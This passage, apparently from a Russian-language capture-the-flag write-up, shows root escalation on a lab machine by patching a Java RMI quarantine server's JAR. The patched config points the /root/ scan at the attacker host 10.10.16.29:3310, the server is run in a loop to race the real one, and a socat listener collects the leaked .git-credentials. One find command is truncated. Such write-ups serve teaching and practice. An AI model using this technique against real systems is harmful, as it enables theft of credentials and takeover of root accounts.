Перейдем к классу ClamScan и взглянем на метод scanPath. Первым делом он подключается к указанному в конфигурации адресу (строки 163–165). Отправляется лишь информация о сканируемом файле (строки 204–205).


Теперь перейдем к файлу сервера RMI. Сервер принимает соединение и передает конфиги.

Создание конфига с параметрами находим в классе QuarantineServerImpl.

Выходит, что если мы сможем запустить свой сервер и передать свои конфиги для сканирования, то у нас появится возможность скопировать все файлы из произвольного каталога. Конечно же, нам интересен каталог пользователя root. Еще раз запускаем pspy64, чтобы отследить, происходит ли запуск файла сервера.

В логах находим периодический перезапуск файла сервера, а значит, мы можем успеть запустить свою версию.
В этот раз мы не будем заново писать код, а изменим в уже собранном файле всего одну строку в классе QuarantineServerImpl, где происходит установка конфига. Это строка 15.
private static final QuarantineConfiguration DEFAULT_CONFIG = new QuarantineConfiguration(new File("/tmp/quarantine"), new File("/root/"), "10.10.16.29", 3310, 1000);
Указываем каталог /root/ для сканирования и копирования файлов в каталог/tmp/quarantine. Затем в меню декомпилятора выбираем File → Export Program и сохраняем новый файл JAR. Копируем его на удаленный сервер и запускаем в цикле. Как только сервер запустится, получим соответствующее сообщение.
while true;do java -jar registry_new.jar 2>/dev/null;done

Для получения логов на локальном хосте откроем порт 3310.
socat -d -d TCP4-LISTEN:3310,reuseaddr,fork STDOUT

В логах снова видим файл .git-credentials. Давай найдем его на сервере.
find ./ -name
git


С полученным паролем авторизуемся от имени root и забираем последний флаг.

Машина захвачена!